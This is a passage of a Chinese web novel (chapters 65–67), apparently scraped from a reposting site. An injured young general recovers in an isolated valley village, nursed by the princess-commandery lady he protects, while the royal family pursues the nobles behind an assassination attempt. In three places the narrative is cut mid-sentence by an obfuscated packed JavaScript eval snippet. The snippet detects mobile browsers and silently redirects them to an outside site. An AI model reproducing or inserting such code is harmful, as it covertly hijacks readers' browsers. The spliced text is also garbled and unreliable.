一行人纵马疾驰,向着掖州奔去,马蹄扬起的雪花在风中飞舞。 宁锦瑞扶着妻子站在诚国公府门前,望着漫天大雪中父母渐渐远去的背影,喃喃道:“瑶儿肯定会平安回来的。” 他的声音很轻,不知是在安慰身边泪流满面的妻子,还是在慰藉自己。 * 秦熠眼前一片黑暗,他不知道自己身在何处,更不知道明安怎么样了。 他好像听到了明安的哭声,他想要看看明安在哪里,可是无论他怎么努力,都睁不开眼睛。他感觉自己被困在了一个黑暗的牢笼里,无法挣脱。 在黑暗中,他好像看见明安背着他走了很远很远,小小的身躯仿佛随时都可能被他压垮。他痛恨自己无用,他多希望自己能够立刻站起来保护明安。 他又看见他们躺在树下,周围一片寂静,只有远处时不时传来狼嚎声。明安被那狼嚎吓得蜷缩在他怀里,瑟瑟发抖。他很想紧紧地抱着明安,保护她不受任何伤害,可是他无能为力。 他不能把明安丢在这荒郊野外,让她担惊受怕。他使劲地挣扎着,终于,他看到了眼前有一丝光亮。 还没来得及转头寻找明安的身影,便听到一个稚嫩的童音喊着:“丁姐姐,你的童养媳醒了。” 这个声音让秦熠有些疑惑,他不知道这个童养媳指的是谁。但此刻,他最关心的还是明安的安危。他努力转动着头,想要寻找明安的踪迹。 久未视物的眼睛有些模糊,秦熠只觉眼前仿佛笼罩着一层薄薄的轻纱。他努力眨了眨眼睛,隐约看见一个女子的身影从外面匆匆进来。 女子跑到他身边,紧紧握住他的手,惊喜地说:“熠哥哥,你醒了。” 秦熠的脑子仍有些混沌,他在一片纷乱的思绪中仔细辨认着,过了片刻,终于认出来是明安。 他张了张嘴,想喊明安的名字,然而嘴唇蠕动了半晌,却发不出一丝声音。他的喉咙干涩而疼痛,仿佛被烈火灼烧过一般。 他听见明安在他耳边轻声说:“熠哥哥别急,你受了重伤,还连续发了好些天的高烧,身体很虚弱,等过些日子就好了。” 熟悉的声音,让秦熠的心渐渐安定下来。 65.清醒 江思明走进屋内,“丁丫头,小伙子醒了?” 宁玉瑶早就注意到秦熠双目无神的模样,心中焦急不已,听到江思明的声音,她连忙将床边的位置让给来人,“江老,您来看看。” 江思明先伸手在秦熠眼前轻轻晃动了两下,随后坐到床边,替秦熠把脉。 片刻后,他松开手,对宁玉瑶道:“没事了,现在看不清东西是正常的,这小子身体底子不错,只要醒了就能慢慢恢复,不过他内腑受伤严重,尽量不要移动。” “我知道了,谢谢您。”宁玉瑶将江老送到门外,门口秦熠的药恰好熬好了,她又急忙把药倒出来。 等她端着药碗再次走进房内的时候,便看到秦熠一直紧盯着门口,尽管眼睛依旧无神,宁玉瑶还是从中看出了不安。 她将有些烫手的药碗放在床边的小柜子上,轻轻抚摸秦熠的脸,安抚道:“熠哥哥,放心,我们现在很安全。” 感受到宁玉瑶的气息,秦熠才渐渐放松,紧绷的身体也慢慢舒缓下来。 等药凉得差不多了,宁玉瑶小心翼翼地喂秦熠喝完药,自己也爬上床,躺在秦熠身边,握着秦熠的手轻声说:“熠哥哥,你好好休息,我在这里陪你,等你好了,带我回雁京。” 秦熠看着近在咫尺的那抹模糊身影,鼻尖萦绕着熟悉的馨香,心神渐渐放松下来,很快便再度闭上眼睛,陷入了沉睡之中。 宁玉瑶凝视着秦熠沉睡中的脸庞,多日来悬着的心终于得以放下。她原本打算等秦熠睡熟后去村里转转,可困意却骤然袭来,连日的疲惫使得她也缓缓闭上眼睛,与秦熠一同进入了梦乡。 秦熠再次醒来时,天尚未破晓,屋内显得有些昏暗。 他的视力虽未完全恢复,但看清睡在身旁的宁玉瑶却不成问题。 他凝视着熟睡中的宁玉瑶,心中满是欢喜。还好,宁玉瑶平安无事,只是面容憔悴了许多。不过只要她没事就好,等自己痊愈了,一定要想办法给她好好补一补。 秦熠的目光下移,留意到宁玉瑶穿着粗布衣衫,粗糙的布料在她原本细腻的肌肤上留下了一道道红痕。紧接着,他看到了她放在枕边的右手,掌心中有着数道深深的疤痕,显然是在他昏迷的这段时间里弄伤的。明安受伤这件事,让他自责到了极点。 似乎感应到了身边的目光,宁玉瑶微微皱起眉头,睁开眼睛。当她看到眼神明亮、正凝视着她的秦熠时,满心欢喜地扑进他怀里,“熠哥哥,你醒了。” 秦熠本想抬手揽住怀中的宁玉瑶,然而稍微一动便牵扯到了伤口,他不由得闷哼一声。 宁玉瑶急忙说道:“熠哥哥你千万别动,你这次伤得特别重,有好几处腑脏都被箭射伤了,必须得好好休养。” 她坐起身来,掀开盖在两人身上的被褥,吃力地试图翻动秦熠。 秦熠看着她累得气喘吁吁的模样,轻轻按住她的手,问道:“明安,你这是要做什么?” 由于许久未曾说话,他的声音格外嘶哑。 宁玉瑶喘着气回道:“给你翻个身,总是一个姿势躺着你会不舒服。” 秦熠的伤在后背,只能趴着或者侧躺。宁玉瑶听村里照顾行动不便的老人的人家说,要经常给躺着的人翻身,不然总是挨着床的地方会溃烂生疮。于是,她每隔几个时辰就帮秦熠翻一次身。 秦熠深知自己的体重,自然不想让宁玉瑶如此辛苦,连忙劝道:“不用管我,我这么躺着没事的。” “不行。”宁玉瑶不听他的,使出九牛二虎之力将他翻到另一面侧躺着,然后从床边取来水,喂给秦熠喝下。 喝过水后,秦熠的嗓子舒服了不少,说话也顺畅起来,“这段日子辛苦你了。” 昨天他喝药的时候就发现了,即便他躺着,明安喂药时药汁也一点儿都没有洒出来,显然明安照顾他已经非常熟练。明明以前的明安连手帕都不会亲手拿,现在却要为自己做这些粗活,这让他更是心生愧疚。 宁玉瑶重新躺回秦熠身边,盖好被子,紧紧握着他的手,“可是你也是为了我才会受这么重的伤。” 秦熠还想再说些什么,却被宁玉瑶直接制止了。她不想与秦熠这般客套,便小声地向他讲述着自己从岸边醒来后所发生的事情。 尽管她刻意隐瞒了找到他之后的种种艰辛,然而秦熠仅从她的只言片语中,便能猜出她当时是多么害怕无助。 他不动声色地听着宁玉瑶继续诉说,当听到这个村子周围皆是悬崖峭壁,一旦来到这里就难以出去时,他看着宁玉瑶难掩沮丧的神情,轻轻地动了动被她握住的手指,安抚道:“明安放心,等我痊愈了,一定带你出去,就算凿,也能凿出一条路来。” 宁玉瑶听到秦熠的保证,脸上瞬间绽放出灿烂的笑容。从小到大,只要是秦熠答应过她的事情,就没有办不到的。她开心地说道:“那你快点好起来。” 她忽然又想起一件事,赶紧对秦熠说道:“对了,熠哥哥,我跟村子里的人说我姓丁,叫丁玉,你叫易禾,千万别记错了。” “丁?”秦熠忆起他刚醒来时,一个孩童喊的“丁姐姐”,似乎还说了什么“童养媳”? 他颇有些好奇地问道:“这童养媳是怎么一回事?” 宁玉瑶没料到秦熠连这个也听到了,红着脸解释说:“我不敢独自住一间屋子,便与他们说我们已经成婚了。闲聊时,提起我们自幼便是青梅竹马,也不知怎的,小孩子就说成了你是我的童养媳。” 秦熠对此倒是毫不在意,心里反而美的很,管他是童养夫还是童养媳呢,这些都不重要。重要的是,明安说自己是她的夫婿,这可把他给高兴坏了。 相识这么多年,宁玉瑶只需看一眼秦熠的表情,就知晓他心中所想。她伸手拽了拽他的耳垂,故作凶狠地说道:“这荒郊野外的,反正也没其他人知晓,你就不怕我过河拆桥?” 秦熠的脸皮向来很厚,嘿嘿一笑,耍起无赖来:“那我就坐到长公主府门前哭去,说明安郡主抛弃糟糠之夫。” 宁玉瑶知道这事他绝对能干得出来,佯怒狠狠瞪了他一眼。 两人又嬉闹了会儿,外面传来鸡鸣声。宁玉瑶再次坐起身来,准备起床。 秦熠看着窗外,天还未完全亮,便问道:“怎么不多睡一会儿?” 宁玉瑶一边往身上套粗麻夹袄,一边解释道:“你用的药材快用完了,待会儿我得去跟江老采药。” 她回头便看到秦熠脸上露出愧疚的神情,她轻轻拍了下他的脸颊,“别露出这种小媳妇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387947|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情,小心我真的抛弃糟糠之夫。” 秦熠立刻换上笑脸,对她说:“知道了,你小心点。” 宁玉瑶应了一声,走出了房门。 秦熠听到宁玉瑶和那位江老走出院子,脚步声逐渐远去,这才腾出空来打量这间屋子。 这是一间极为狭小的由木头搭建而成的房子,里面仅有一张简陋的木床和一张小小的四方桌,角落里还摆放着一个破旧的木柜。 他身上盖着的粗布被褥,也不知是用什么东西填充的,秦熠轻轻摩挲着,被褥发出沙沙的声响,听得他眉头直皱。 木床对面的墙壁上有一扇窗户,窗户用稀疏的粗布糊着。宁玉瑶在离开之前特地将窗户打开,秦熠能够透过窗户看到屋外郁郁葱葱的树木。 秦熠沉思,没想到他们竟然顺着水流飘到了苍荻。苍荻位于大宸的西南方,难怪感觉比在掖州时暖和许多。这样也好,至少不用担心明安会受寒。 苍荻这些年虽然对大宸表现得颇为友好,但秦熠没有忘记父亲曾说过,先帝在位时,苍荻并不比北穆好多少,也曾屡屡侵犯大宸边境。只是陛下登基后,苍荻没有英主上位,他们这才老实起来。 不过,不管他们是真老实还是装老实,这些秦熠现在都懒得去管。他只想赶紧好起来,带着宁玉瑶回到大宸。若是苍荻真有什么歪心思,以后再教训他们。 在秦熠思考接下来的计划之际,窗外的天色愈发明亮起来。他听到不远处渐渐有了人声,想来是村子里的人都起床了,村子也开始热闹起来。 没过多久,宁玉瑶的脚步声在院子中响起。秦熠转头望向房门,门被打开,宁玉瑶走了进来,“熠哥哥,我回来了。” 秦熠仔细地打量了一番,见她身上虽有泥土和草屑,但并未受伤,这才放心地问道:“采药的地方不远吗?” 宁玉瑶端起小桌上的茶杯,喝了一口水,而后回答道:“不远,悬崖下的这块山谷面积不大,不用多长时间就能走完。” 秦熠根据宁玉瑶的脚程算了算,对这块地方的大小有了初步的判断。他看着宁玉瑶额头上的汗珠,说道:“累了吧?快过来休息一下。” 宁玉瑶却转身去开门,“没事,等会儿再休息。涓姨快要送早膳来了,用过早膳再说。” 她话音刚落,一道爽朗的女声在院子外响起:“小玉回来了吗?” 宁玉瑶边往外走边扬声回应道:“在呢,涓姨快进来。” 不一会儿,宁玉瑶端着一个大碗走了进来,身后跟着一名中年女子,她的手中也捧着一个大碗。中年女子边走边说:“听说你家小易醒了,我今天早饭特地多做了些。” “谢谢涓姨。”宁玉瑶将手中的碗放在桌子上,随后对秦熠介绍道:“熠哥哥,这位就是涓姨。这段时间我们一直在涓姨家吃饭,等你好了,你再帮涓姨家干一阵子活。” 秦熠早上听宁玉瑶提起过,村子里有这样的习俗,从河里捡来的人如果受伤严重不能行动,就先在村子里的人家吃住,等身体恢复了,再帮这家人干活,算是还了这份人情。 可以让明安过得轻松一些,他自然满口答应:“涓姨您放心,我力气有的是。” 孟青涓笑着说:“不着急,小易你先好好养伤。” 66.换药 送走孟青涓后,宁玉瑶走到桌旁端起碗,准备用早膳。 小谷村地域狭小,耕地有限。在这里,每家仅仅拥有一块小小的耕地。若种植普通的米粮,其产出根本无法满足全家一年的需求。鉴于此,小谷村的村民们大多选择种植产量较高但味道稍逊一筹的作物。 例如今日早膳的两碗糊糊,是由一种植物的根茎捣碎后,再加入从树林里采摘来的绿叶熬制而成。小谷村物资匮乏,没有盐巴,村民们便将这种绿叶当作盐来使用。然而,这种绿叶虽带有一丝咸味,可苦味却占了更多。 宁玉瑶皱着眉头,吃着碗中苦涩的糊糊。虽然她知道自己必须尽快适应这里的生活,可精心养护了这么多年的身体,实在无法突然接受这些粗劣的食物。她强忍着不适,勉强填饱肚子后,便不再强迫自己继续吃下去。 她转头,目光对上秦熠那满脸担忧的神情。她并未多做解释,只是端着碗走过来,舀起一勺糊糊,送到秦熠嘴边,笑着说:“没那么难吃,就是有点苦而已。江老说这个苦叶可以清肝明目,你就当是在吃味道不太好的药膳吧。” 秦熠咽下嘴里的糊糊,确实不算特别难以接受。但他还是得赶紧好起来,明安还是由自己来养才比较放心。 喂秦熠吃完一整碗糊糊,宁玉瑶转过身,从床边的柜子里拿出一个白色小瓷瓶。 她爬上床,如前几日那般脱下秦熠的上衣,正准备给他换药,一抬眼,恰好对上秦熠那双亮晶晶的眼睛。 宁玉瑶的脸颊瞬间通红,她凶巴巴地说:“看什么看!” 秦熠依旧笑嘻嘻:“明安脱我衣服的时候好像很熟练。” 宁玉瑶听到这话,心中的羞恼更甚。她方才完全是顺手就脱了,一时之间竟忘记秦熠已经苏醒。她又气又急,一把将自己的枕头拿起来,盖在了秦熠头上,“那你怎么不提醒我。” 枕头下传来秦熠闷闷的声音:“提醒什么,明安若是想脱我衣服,尽管脱便是,我又不会反抗。” “闭嘴!我只是要给你换药,别说得我好像个登徒子似的。”宁玉瑶直接将秦熠按趴下,不许他再说话。 她小心翼翼地清理掉秦熠背上残留的药渣。 秦熠的背上布满了各式各样的伤痕,有刀伤,有剑伤,其中最为可怖的当属军棍留下的疤痕,后背那一大片的伤痕,让人触目惊心。再加上此次挖出箭头时留下的孔洞和刀痕,他的背上几乎看不见一块完好的肌肤。 每次给秦熠换药,宁玉瑶都格外轻柔,生怕会弄疼了他。她仔细地观察着伤口,看到没有红肿,也没有脓液渗出,这才放心地将药粉均匀地洒在伤口上。待药粉附着在伤口上后,她再将秦熠的衣服穿好。 等她取下秦熠头上的枕头,秦熠已经睡着了。毕竟他刚刚清醒过来,本就精神不济。但他看出了宁玉瑶心底的惶惶不安,才强打起精神逗她开心。此时,见她神色不再那般紧绷,便放心地沉睡过去。 宁玉瑶轻轻为秦熠盖好被子,然后悄声爬下床,去院子里帮江老收拾药材。 江思明躺在院子中的躺椅上,惬意地晒着太阳。晒药材这种活儿,即便没有宁玉瑶帮忙,也无需他亲自动手。身为小谷村唯一的大夫,又是一位九十岁高龄的老人,他在村里能够享受一切特权。 看到宁玉瑶从屋里出来,江思明微微掀起眼帘瞥了她一眼,明显能感觉到自屋里的小子醒后,她的精气神比起前两天要好上许多。 他并不觉得意外,到底是个没经历过多少大风大浪的小丫头,光是这几天能有这样的表现,已经算得上出色。可见家里平时对她的教养不错。不过,这么娇贵的闺女丢了,她家里估计得急疯了。 * 从雁京前往掖州,必然要经过涑州。既然已抵达涑州,祁婧惠一行众人自然是要先前往涑州大营去看望太子。 在涑州知府与掖州杨知府全力调配之下,源源不断的珍贵药材从两府被送进涑州大营。如今,祁晖珏已经退烧,每日能够短暂地清醒一段时间。然而,涑州营的军医能力有限,也只能做到这个程度了。 祁婧惠风尘仆仆地抵达涑州大营时,涑州军将领崔沭依旧带着涑州军在掖州山脉中搜寻明安郡主的下落,而太子祁晖珏却还在涑州大营中沉睡着。 军医望着眼前不怒自威的长公主殿下,惶恐不安地站在角落中,就怕殿下一怒之下斩了自己这个庸医。 秦柏倒是有心想帮军医说几句话,毕竟平日里军医多是给一帮粗汉子看跌打损伤,那些糙汉子随便用点药就就能挺过去。不过此事毕竟事关太子的安危,他也爱莫能助。 祁婧惠并非完全不讲道理之人,况且陆院正已经在赶来的路上,此时没必要再吓唬军医,免得他受惊之下给太子开出几贴猛药,那样反倒会弄巧成拙。 “太子大概什么时候能醒?”祁婧惠坐在太子床边,目光落在太子消瘦苍白的脸上,问军医。 军医颤抖着回答:“回殿下,太子殿下这两日一般都是睡上三四个时辰便回醒来一刻钟左右,现下已经睡了三个时辰了,应该就快醒了。” 祁婧惠轻轻颔首,示意自己知道了。一时间,营帐内一片寂静,再无人言语,众人皆耐心地等待着。 没过多久,床上的祁晖珏微微动了一下。随后他缓缓睁开眼睛,当他看清床边坐着的人是祁婧惠时,眼神中瞬间闪过一丝惊喜,那惊喜之中,又夹杂着孩子见到家中长辈时的委屈。他轻轻唤了一句:“姑母……” 祁婧惠赶忙握住他的手,柔声说道:“姑母在这里,珏儿没事了。” 祁晖珏心中满是愧疚,眼眶微红。他虚弱地说道:“姑母……对不起……珏儿把阿姐弄丢了……” “珏儿,这不是你的错,是那群歹人罪该万死。”祁婧惠耐心地安抚着他。 听到太子醒来,正在外面与太子亲卫了解当时情况的宁渊,立即走进营帐给太子请安。 祁晖珏知道阿姐尚未寻回,事情紧急,便下令让营帐中的闲杂人等全部退下,只留祁婧惠夫妻和秦柏,他吩咐道:“丹素守在门口,任何人不得靠近。” 宁玉瑶离开之前,给丹素和丹诺下的最后一道命令就是誓死保护太子。这些日子,丹素和丹诺寸步不离地守在祁晖珏身旁。 等人全部退出去后,营帐内的气氛骤然变得凝重起来。祁晖珏微微撑起身子,靠在床边,神色严肃。 过了片刻,他才开口说道:“阿姐和秦熠告诉我,此次的刺客中有谢家人,去岁他们去谢家庄子赏石榴花时,见过其中几人。” 此事非同小可,一旦泄露出去,必定会引起轩然大波。因此祁晖珏早已下了封口令,就连回雁京报信的亲卫都被严令不准将此事禀报给承武帝。在没有确凿证据之前,绝不能轻举妄动,以免打草惊蛇。 说起石榴花,在场三人立即明白了是哪个谢家。 宁渊皱起眉头,神色凝重地看向祁婧惠:“谢家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404301|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边,只能辛苦你跑一趟了。否则,若是宣王要出面干涉,我和秦柏也不能轻易拂了他的面子。” 大皇子祁晖珉在年初之时已经封王开府,封号为宣,并已迎娶了谢家长女为王妃。如此一来,可以说谢家现在不但是淑妃的母家,更是宣王的岳家。要调查谢家,不论如何都绕不开宣王,在这种情况下,只有祁婧惠的身份能够压他一头。 祁婧惠闻言,嘴角勾起一抹冷笑,她冷冷地说道:“祁晖珉最好跟此事无关,否则,老六怎么死的,他也怎么死。” 自先帝六皇子宫变后,祁婧惠最恨两件事,一是伤害她的儿女,二就是胆敢觊觎不属于自己的位置的人。 但在那皇城中尔虞我诈了几十年,祁婧惠又岂会是无知小儿?谢家敢犯下这等滔天罪行,要说祁晖珉完全不知情,她是万万不信的。 祁晖珏轻声说道:“如今我尚在人世,只怕那庄子早已人去楼空,姑母此番前去,怕是会徒劳无功。” 祁婧惠却冷然一笑,眼中厉色一闪而过:“姑母可不是你们这些孩子,抓个人还非得要证据确凿。他们不是总说本宫的瑶儿任性妄为吗?那本宫便让他们见识见识什么才是真正的嚣张跋扈。” 祁晖珏望着姑母那不同以往的飒爽英姿,蓦地想起母后曾经说过姑母在斩杀叛贼之时从不手软。他虚弱地对着祁婧惠笑了笑,说道:“那此事就拜托姑母了。” “傻孩子,跟姑母无需客气。你好好休息,尽快好起来。你放心,只有你才是大宸的正统,有我们在,任何人都无法越过你。”祁婧惠温柔地安抚着祁晖珏。 她看着祁晖珏渐渐体力不支,陷入昏睡,这才起身与宁渊、秦柏一同走出营帐。 宁渊知道妻子的行事风格,自妻子生下瑶儿后,便一直修身养性,赏花茗茶,一副与世无争的模样。恐怕如今的雁京城中,已经有许多人忘却了曾经的嘉阳公主是何等的蛮横。 他只是轻声提醒道:“谢家如今虽然最高的官职仅为太常寺少卿,然而到底是百年世家,家族根繁叶茂,关系错综复杂。你此次行事,务必要小心谨慎。” 祁婧惠却丝毫不在意,她冷笑道:“放心吧,他们动不了我。” 陛下早就有意对那些所谓的世家动手,谢家此次犯下如此滔天罪行,此次必定要将他们连根拔起。 至于是否只是瑶儿和秦熠的一面之辞,祁婧惠从未有过怀疑。她相信两个孩子,他们绝非信口开河之人。此番就算掘地三尺,她也会找出证据。 然而瑶儿如今下落不明,这让祁婧惠有些犹豫,她想要留在这里继续寻找瑶儿,但谢家的事情也刻不容缓,若不及时处理,恐生变故。 宁渊看出了妻子的犹豫,他轻声劝道:“放心吧,这里有我和秦将军。” 秦柏也点头说道:“殿下尽可放心,有秦熠陪在郡主身边,就算豁出一条命,他也会护郡主平安。” 这也是他们在听闻瑶儿失踪后还能够保持镇定的原因。秦熠武艺超群,又对瑶儿一片痴心。 既然涑州军搜寻了这么多日都未发现他们二人遭遇不测的消息,那么定然是秦熠带着瑶儿流落到了某个地方,暂时因某些缘故而不方便现身。 祁婧惠经过一番深思熟虑,也终于想通了。这里即便多她一个人,作用也十分有限,倒不如她返回雁京为瑶儿报仇雪恨。 于是,她郑重道:“那我先行回雁京,秦将军,请您务必帮我找到瑶儿。” 67.养病 雁京城西。 谢家家主谢昌定匆匆走进茶楼,进入一间厢房后,关上房门打开暗室机关。 暗室内灯火辉煌,谢昌定走至主位上正闭目养神的男子面前,恭敬行礼道:“拜见宣王殿下。” 祁晖珉睁开双眸看向他,嘴角微微勾起,眼中却隐含怒意。“舅舅不必多礼,且坐。” 谢昌定察觉到宣王正处于盛怒之中,额角渗出细密的汗珠。虽说宣王让他不必多礼,可他不敢以舅舅自居,急忙躬身向宣王请罪:“殿下,属下此次办事不力,甘愿受罚。” “一帮成事不足败事有余的废物!”祁晖珉脸上那抹笑意瞬间消失得无影无踪,“哗啦”一声,他猛地将桌上的茶盏拂落在地,茶盏瞬间摔得粉碎。 “你既知自己办事不力,一千人去劫杀一个十二岁的孩子都未能成功,你说说,你究竟还有何用处!” 谢昌定的身体微微颤抖,双膝发软,几欲跪下,他强自镇定道:“殿……殿下息怒。恳请殿下再给属下一次机会。待祁晖珏回京之际,属下必定全力以赴,将他成功击杀。” “秦柏和宁渊皆在涑州,你有何能耐与他们二人抗衡?”祁晖珉怒视谢昌定,眼中满是失望之色,“一帮酒囊饭袋,就凭你们也想与手握重兵的秦柏斗。” 祁晖珉满心厌烦,不想再看到谢昌定,他抬起手挥了挥,示意谢昌定退下:“罢了,此事暂且搁置,日后再寻时机。你即刻命庄子里的人全部撤离,让他们能走多远走多远,事成之前,不得再在雁京露面。” “是,殿下。”谢昌定恭敬应道。 正欲转身离开之时,他又面露犹豫之色,开口问道:“殿下,去岁明安郡主曾到庄子里赏花,见过其中几人,属下担心此事会牵连到自己。” 祁晖珉闭着双眼,神色慵懒地说道:“见过又如何?如今明安郡主生死不知,那群人已死无对证。你将庄子清理干净,只要没有证据,谁又能把你怎样?” 谢昌定听后,心感稍安。确实如此,空口无凭,只要自己抵死不认,他们也奈何不了自己。 他再次行礼,安心退了下去。 * 雁京城中,各方势力暗流涌动。远在苍狄的小谷村,依旧宁静祥和。 冬日的小谷村,鸟兽踪迹难觅,村民们早在秋季就已将能够获取食物储备妥当。忙活完家事的婶子们便来到村中的空地上,一边织布一边聊着家长里短。 其中一位婶子不经意地抬头,瞧见田大益家的闺女田莉正带着个眼生的姑娘从自己家走出来。那姑娘身姿窈窕,手腕上挎着一个竹篮,虽穿着粗布麻衣,却难掩其出众的气质。 婶子眼睛倏地一亮,高声吆喝道:“莉丫头,这位就是江老爷子新捡来的姑娘?” 田莉脆声应道:“是呢,颜婶子。” 其他婶子们也纷纷跟着抬起头来,好奇地打量着田莉身边那位嘴角含笑的姑娘,她皮肤白皙,细腻光滑,五官精致秀美,仿佛是从画中走出来的仙子一般。 婶子们纷纷赞道:“这姑娘真是生得俊俏,瞧瞧这脸蛋,这腰肢,啧啧啧……” “小丫头,你可有过男人?” “这么标致的姑娘,肯定早就成婚了吧?” 宁玉瑶从未接触过如此直白的妇人,她们的言语实在粗陋,听得她眉头紧蹙。只是此刻人生地不熟,秦熠又受伤无法行动,不宜生事,她只能强忍下来,脸上的笑容渐渐消散。 她神色淡然地说道:“我与丈夫路遇劫匪,他斩杀了数十人后体力不支,不慎掉进河中。如今,他正在江老家中养伤。” 那几个嘴碎的婶子被她的话震得不敢吱声,她们着实没想到这个柔弱姑娘的丈夫如此凶悍。 田莉脸上依旧挂着笑容,她见气氛有些尴尬,连忙跟婶子们道别,带着宁玉瑶匆匆离开了。 身后隐隐传来婶子们不服气的声音。 “还说杀了几十个人呢,这么厉害咋还流落到这儿了?” “反正也没谁知道,还不就随便她吹牛……” 声音渐渐远去,田莉笑着问宁玉瑶:“玉姐姐,你夫婿真的杀了这么多人吗?” 宁玉瑶转头,对着身边的少女微笑道:“当然是假的。” 田莉是田大益和孟青涓的女儿,她的皮肤像田大益,有些偏深,但她长相像孟青涓,秀美的配合着她的肤色,让她多了几分灵动俏皮。 她拍拍胸口,吐了吐舌头,“我就说嘛,几十个人呢,差不多有我们半个村子了。” 宁玉瑶笑而不语,秦熠所斩杀的北穆人以及各类匪贼又何止几十人,怕是上千人都不止。不过,他们目前还需在此地生活一段时间,让那些人安静些就好,没必要说出来让他们心生忌惮。 身旁的少女轻声道:“玉姐姐你别把那些人的话放在心上,她们就是嘴巴碎,没什么坏心思。” 这么多年来,每年都会有一些人顺着河流飘落到小谷村。除了那些因为正常衰老而离世,以及一门心思想着出去却不幸意外身亡的人之外,这里的人口数量并没有太大的变化,始终稳定在百来口人左右。 而这个村子里的人也不似外面村子那般单纯。顺着河流漂流至此的人形形色色,有如田莉母亲孟青涓一般,被人陷害而失足落水的。也有在外面犯了事被人丢下河,运气好没死成的。 譬如此刻拦住宁玉瑶去路的年轻男子,他与宁玉瑶身高相仿,看上去文质彬彬。由于小谷村里除了村民们自己织的粗布,再无其他布料,他此时也身着粗布麻衣,这身朴素的衣衫让他原本的书生气质折损了几分。 他站在那里,张嘴说了几句话,宁玉瑶没听懂,大概用的是苍荻语。 就听田莉凶狠地回了他一句,语气中满是厌恶。随后,她紧紧拉着宁玉瑶的手,快步离开了。 待她们与那个年轻男人拉开一段距离后,田莉方才放缓了脚步,她的脸上依旧带着愤怒的红晕。 “玉姐姐,你往后要是看到这个男人,可得离他远远的。听我娘说,他赌博把家当输了个精光,还把妻儿都抵押给了赌馆。即便如此,还是没能还清赌债,最后被赌馆老板砍了一根手指,丢进了河里。” 宁玉瑶虽并未将这个男人放在心上,但仍旧笑着向田莉感谢她为自己解围。 眼看快要到江老爷子家,田莉揶揄道:“其实你也不用怕那个男人。等你的夫婿身体好了,光往那一站就能吓死他!” 宁玉瑶扑哧一声笑了出来。确实,就秦熠那体格,往刚才那个男人面前一站,那男人真不够看的。 她们推开江老院子外的篱笆,孟青涓正在整理药材,听到动静,抬头望见她们,脸上露出笑容,招呼道:“小莉,来帮你玉姐姐烧水熬药。小玉,你先休息会儿,等药熬好了我再叫你。” “好的,谢谢涓姨。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422967|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁玉瑶轻声回应,提着手中竹篮走进了房里。 她今日去涓姨家是找田莉拿自己的衣裳,村里的粗布麻衣穿在身上过于粗糙,让她很不适应。她便请田莉将自己之前破损的衣裳裁成布条,缝在领口和胸前处,如此一来能舒服些。 房间里,秦熠已经醒了,正眼巴巴地看着她。宁玉瑶走到床边,拉着他的手,轻声问:“熠哥哥今天怎么样?” “好多了。”秦熠捏了捏她的手,力度较昨日强了许多,显然身体在日益好转。他听到方才外面的话,不禁问道:“明安也要服药吗?” 宁玉瑶在床边坐下,她本不想让秦熠担忧,所以一直没告诉他自己要泡药浴的事。但等会儿泡完药浴,秦熠也会看见,为了避免他无端猜测更加忧心,她还是决定如实相告。 “江老说我自胎里便先天不足,前些日子又淋了雨,还在水里泡了一整晚,身体比以往更加虚弱了,若要根治,就必须泡药浴。” 宁玉瑶迟疑片刻后接着说道:“只是这药浴泡的时间有点长,泡完后我会浑身乏力,不过没大碍,睡一觉便好了。” 秦熠自然能察觉出她话中的隐瞒,他知道宁玉瑶是不想让自己担心。为了不让宁玉瑶在泡药浴的时候还牵挂着自己,他装作相信了宁玉瑶的话。 门外传来一阵敲门声,田莉在外面喊道:“玉姐姐,药好了。” “好,我就来。”宁玉瑶扬声回应,她转头看向秦熠,轻声道,“熠哥哥,我约莫要一个时辰,你先休息会儿。” “好,别牵挂我,快去吧。” 宁玉瑶坐在浴桶中,额头上豆大的汗珠开始往下淌。她没对秦熠说实话,每次泡药浴时,她都犹如被针扎一般,疼痛难耐,浑身无力无法动弹。 江老曾说,她本就身体天生不足,再加上此次大病,若不彻底治愈,很难说还可以活多久。所以,这药浴虽痛苦,她却不得不泡。 一个时辰很快过去。 “娘,好了吗?”田莉推门而入。 田莉正跟着江思明学医,虽尚未正式拜师,但田家对江思明极为敬重,如对正经师父一般。平日里,江思明但凡有事,都是唤田家人前来帮忙,田家也从不推辞。 “好了,来搭把手。”孟青涓用帕子擦去宁玉瑶脸上的汗水,随后与田莉合力将浑身绵软无力的宁玉瑶从浴桶中抱出来,擦干她身上的药水,再拿毯子将她包裹起来,抱进他们的小木屋。 秦熠并未入睡,一直在等候宁玉瑶。看见宁玉瑶被抱进来,他顿时心急,挣扎着要起身。 